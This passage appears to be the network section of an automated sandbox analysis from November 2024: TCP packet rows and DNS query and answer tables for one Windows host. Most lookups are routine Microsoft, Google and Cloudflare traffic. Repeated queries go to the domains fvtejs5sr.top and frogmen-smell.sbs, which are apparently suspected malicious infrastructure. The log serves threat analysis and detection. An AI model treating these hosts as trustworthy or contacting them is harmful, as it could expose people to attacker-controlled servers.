Nov 15, 2024 16:16:37.344808102 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.363107920 CET	443	49908	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.363658905 CET	49908	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.363693953 CET	443	49908	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.364135981 CET	49908	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.364147902 CET	443	49908	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.375730991 CET	443	49910	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.376234055 CET	49910	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.376272917 CET	443	49910	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.376676083 CET	49910	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.376682997 CET	443	49910	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.412281036 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.412847042 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.412908077 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.412986994 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.413008928 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.413368940 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.413376093 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.416702986 CET	49914	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.416747093 CET	443	49914	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.416832924 CET	49914	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.417027950 CET	49914	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.417042971 CET	443	49914	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.470072985 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.470176935 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.470228910 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.470400095 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.470421076 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.470432997 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.470438957 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.473952055 CET	49915	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.473984957 CET	443	49915	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.474055052 CET	49915	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.474299908 CET	49915	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.474308968 CET	443	49915	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.485112906 CET	443	49911	13.107.246.45	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 16:16:11.647094965 CET	192.168.2.5	1.1.1.1	0xc366	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:11.647216082 CET	192.168.2.5	1.1.1.1	0x214	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:15.316437960 CET	192.168.2.5	1.1.1.1	0xa195	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:15.316576004 CET	192.168.2.5	1.1.1.1	0x6de3	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:16.321110964 CET	192.168.2.5	1.1.1.1	0xfbd4	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:16.321218967 CET	192.168.2.5	1.1.1.1	0xe819	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:21.966811895 CET	192.168.2.5	1.1.1.1	0x65da	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:21.966955900 CET	192.168.2.5	1.1.1.1	0xeb99	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:23.405457973 CET	192.168.2.5	1.1.1.1	0x828b	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:23.405579090 CET	192.168.2.5	1.1.1.1	0x121f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 15, 2024 16:16:25.249342918 CET	192.168.2.5	1.1.1.1	0x8a34	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.249599934 CET	192.168.2.5	1.1.1.1	0x98aa	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:25.254861116 CET	192.168.2.5	1.1.1.1	0x649	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.255059004 CET	192.168.2.5	1.1.1.1	0xb5b7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:25.261442900 CET	192.168.2.5	1.1.1.1	0xe54b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.261619091 CET	192.168.2.5	1.1.1.1	0xe78a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:25.274466038 CET	192.168.2.5	1.1.1.1	0x3b95	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.274632931 CET	192.168.2.5	1.1.1.1	0x87ea	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:25.817384005 CET	192.168.2.5	1.1.1.1	0xd871	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.817572117 CET	192.168.2.5	1.1.1.1	0xed1f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:26.334523916 CET	192.168.2.5	1.1.1.1	0x40e3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.342494965 CET	192.168.2.5	1.1.1.1	0xaeb8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:26.347857952 CET	192.168.2.5	1.1.1.1	0xf97c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.348109961 CET	192.168.2.5	1.1.1.1	0xdc63	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:16:26.486357927 CET	192.168.2.5	1.1.1.1	0xc809	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.486669064 CET	192.168.2.5	1.1.1.1	0xffc9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:12.693224907 CET	192.168.2.5	1.1.1.1	0x70ad	Standard query (0)	home.fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:12.693224907 CET	192.168.2.5	1.1.1.1	0x463e	Standard query (0)	home.fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:17:18.468592882 CET	192.168.2.5	1.1.1.1	0x7e51	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:27.644174099 CET	192.168.2.5	1.1.1.1	0x142	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:27.644428015 CET	192.168.2.5	1.1.1.1	0x539e	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:29.379970074 CET	192.168.2.5	1.1.1.1	0x6111	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.380105019 CET	192.168.2.5	1.1.1.1	0x78a1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:29.382886887 CET	192.168.2.5	1.1.1.1	0x348b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.383021116 CET	192.168.2.5	1.1.1.1	0xca7b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:29.384769917 CET	192.168.2.5	1.1.1.1	0x9c4e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.384918928 CET	192.168.2.5	1.1.1.1	0xc13f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:57.185921907 CET	192.168.2.5	1.1.1.1	0xf321	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:57.186072111 CET	192.168.2.5	1.1.1.1	0x3c0b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:57.210411072 CET	192.168.2.5	1.1.1.1	0xa9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:57.210618973 CET	192.168.2.5	1.1.1.1	0x76fd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 15, 2024 16:17:58.617064953 CET	192.168.2.5	1.1.1.1	0x8e2c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:58.617187023 CET	192.168.2.5	1.1.1.1	0x4eab	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 16:18:02.107353926 CET	192.168.2.5	1.1.1.1	0x3a04	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:02.107481003 CET	192.168.2.5	1.1.1.1	0xebda	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 15, 2024 16:18:07.391397953 CET	192.168.2.5	1.1.1.1	0xcd1d	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:07.391467094 CET	192.168.2.5	1.1.1.1	0xa2a1	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:11.121606112 CET	192.168.2.5	1.1.1.1	0x3f0b	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:11.121606112 CET	192.168.2.5	1.1.1.1	0xa32d	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:33.542789936 CET	192.168.2.5	1.1.1.1	0x804a	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:33.542912006 CET	192.168.2.5	1.1.1.1	0x70e1	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:33.542987108 CET	192.168.2.5	1.1.1.1	0x804a	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:33.640145063 CET	192.168.2.5	1.1.1.1	0x804a	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:33.659694910 CET	192.168.2.5	1.1.1.1	0x6960	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.425446033 CET	192.168.2.5	1.1.1.1	0x8304	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:34.584759951 CET	192.168.2.5	1.1.1.1	0x6580	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.584899902 CET	192.168.2.5	1.1.1.1	0xddb8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:18:34.587338924 CET	192.168.2.5	1.1.1.1	0x1bf7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.587536097 CET	192.168.2.5	1.1.1.1	0x3e64	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:18:34.588783026 CET	192.168.2.5	1.1.1.1	0xa16d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.588917017 CET	192.168.2.5	1.1.1.1	0xc3ec	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:18:34.659622908 CET	192.168.2.5	1.1.1.1	0xd359	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:34.659730911 CET	192.168.2.5	1.1.1.1	0xd359	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:35.550215006 CET	192.168.2.5	1.1.1.1	0xdf44	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:35.550405025 CET	192.168.2.5	1.1.1.1	0x3919	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:35.550405979 CET	192.168.2.5	1.1.1.1	0xdf44	Standard query (0)	fvtejs5sr.top	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:18:35.562027931 CET	192.168.2.5	1.1.1.1	0x3919	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:18:35.562155962 CET	192.168.2.5	1.1.1.1	0x3919	Standard query (0)	fvtejs5sr.top	28	IN (0x0001)	false
Nov 15, 2024 16:20:54.794857979 CET	192.168.2.5	1.1.1.1	0xb1e3	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:20:54.795192957 CET	192.168.2.5	1.1.1.1	0xe9c1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 15, 2024 16:21:18.505364895 CET	192.168.2.5	1.1.1.1	0x27a9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:21:18.505364895 CET	192.168.2.5	1.1.1.1	0x14ec	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 16:16:11.653883934 CET	1.1.1.1	192.168.2.5	0xc366	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:11.654089928 CET	1.1.1.1	192.168.2.5	0x214	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 15, 2024 16:16:15.323417902 CET	1.1.1.1	192.168.2.5	0xa195	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:15.323417902 CET	1.1.1.1	192.168.2.5	0xa195	No error (0)	plus.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:15.323676109 CET	1.1.1.1	192.168.2.5	0x6de3	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:16.328392029 CET	1.1.1.1	192.168.2.5	0xfbd4	No error (0)	play.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:21.973639011 CET	1.1.1.1	192.168.2.5	0x65da	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:21.973670959 CET	1.1.1.1	192.168.2.5	0xeb99	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:22.361512899 CET	1.1.1.1	192.168.2.5	0x51c6	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:22.361512899 CET	1.1.1.1	192.168.2.5	0x51c6	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:22.362014055 CET	1.1.1.1	192.168.2.5	0xfca6	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:23.412394047 CET	1.1.1.1	192.168.2.5	0x121f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:23.413342953 CET	1.1.1.1	192.168.2.5	0x828b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.257412910 CET	1.1.1.1	192.168.2.5	0x8a34	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.257412910 CET	1.1.1.1	192.168.2.5	0x8a34	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.257412910 CET	1.1.1.1	192.168.2.5	0x8a34	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.257412910 CET	1.1.1.1	192.168.2.5	0x8a34	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.261821032 CET	1.1.1.1	192.168.2.5	0xb5b7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.263360977 CET	1.1.1.1	192.168.2.5	0x649	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.268316984 CET	1.1.1.1	192.168.2.5	0xe54b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.269948006 CET	1.1.1.1	192.168.2.5	0xe78a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.281342983 CET	1.1.1.1	192.168.2.5	0x3b95	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.281373024 CET	1.1.1.1	192.168.2.5	0x87ea	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.824297905 CET	1.1.1.1	192.168.2.5	0xd871	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:25.824297905 CET	1.1.1.1	192.168.2.5	0xd871	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.1	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:25.825683117 CET	1.1.1.1	192.168.2.5	0xed1f	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:26.341809988 CET	1.1.1.1	192.168.2.5	0x40e3	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.341809988 CET	1.1.1.1	192.168.2.5	0x40e3	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.349375963 CET	1.1.1.1	192.168.2.5	0xaeb8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:16:26.355186939 CET	1.1.1.1	192.168.2.5	0xf97c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.355186939 CET	1.1.1.1	192.168.2.5	0xf97c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.356200933 CET	1.1.1.1	192.168.2.5	0xdc63	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:16:26.493937969 CET	1.1.1.1	192.168.2.5	0xffc9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:16:26.494451046 CET	1.1.1.1	192.168.2.5	0xc809	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.494451046 CET	1.1.1.1	192.168.2.5	0xc809	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:16:26.925597906 CET	1.1.1.1	192.168.2.5	0x2fe7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:16:26.925597906 CET	1.1.1.1	192.168.2.5	0x2fe7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:13.453315973 CET	1.1.1.1	192.168.2.5	0x70ad	No error (0)	home.fvtejs5sr.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:18.723797083 CET	1.1.1.1	192.168.2.5	0x7e51	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:18.723797083 CET	1.1.1.1	192.168.2.5	0x7e51	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:27.651098013 CET	1.1.1.1	192.168.2.5	0x142	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:27.651791096 CET	1.1.1.1	192.168.2.5	0x539e	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:29.386784077 CET	1.1.1.1	192.168.2.5	0x6111	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.386784077 CET	1.1.1.1	192.168.2.5	0x6111	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.386921883 CET	1.1.1.1	192.168.2.5	0x78a1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:17:29.389736891 CET	1.1.1.1	192.168.2.5	0x348b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.389736891 CET	1.1.1.1	192.168.2.5	0x348b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.390091896 CET	1.1.1.1	192.168.2.5	0xca7b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:17:29.391700983 CET	1.1.1.1	192.168.2.5	0x9c4e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.391700983 CET	1.1.1.1	192.168.2.5	0x9c4e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:29.391782045 CET	1.1.1.1	192.168.2.5	0xc13f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 15, 2024 16:17:57.193053961 CET	1.1.1.1	192.168.2.5	0x1c94	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193109989 CET	1.1.1.1	192.168.2.5	0xf321	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193109989 CET	1.1.1.1	192.168.2.5	0xf321	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193109989 CET	1.1.1.1	192.168.2.5	0xf321	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193109989 CET	1.1.1.1	192.168.2.5	0xf321	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193370104 CET	1.1.1.1	192.168.2.5	0xbcfe	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193370104 CET	1.1.1.1	192.168.2.5	0xbcfe	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193370104 CET	1.1.1.1	192.168.2.5	0xbcfe	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193420887 CET	1.1.1.1	192.168.2.5	0x3c0b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.193420887 CET	1.1.1.1	192.168.2.5	0x3c0b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:57.217238903 CET	1.1.1.1	192.168.2.5	0xa9	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:57.218684912 CET	1.1.1.1	192.168.2.5	0x76fd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 15, 2024 16:17:58.483423948 CET	1.1.1.1	192.168.2.5	0xcc49	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.483423948 CET	1.1.1.1	192.168.2.5	0xcc49	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.483423948 CET	1.1.1.1	192.168.2.5	0xcc49	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:58.484384060 CET	1.1.1.1	192.168.2.5	0xd4a6	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.624938965 CET	1.1.1.1	192.168.2.5	0x8e2c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.624938965 CET	1.1.1.1	192.168.2.5	0x8e2c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.624938965 CET	1.1.1.1	192.168.2.5	0x8e2c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.624938965 CET	1.1.1.1	192.168.2.5	0x8e2c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 16:17:58.625027895 CET	1.1.1.1	192.168.2.5	0x4eab	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:17:58.625027895 CET	1.1.1.1	192.168.2.5	0x4eab	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:18:02.115771055 CET	1.1.1.1	192.168.2.5	0x3a04	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:18:02.116595984 CET	1.1.1.1	192.168.2.5	0xebda	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 16:18:04.740125895 CET	1.1.1.1	192.168.2.5	0xe148	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
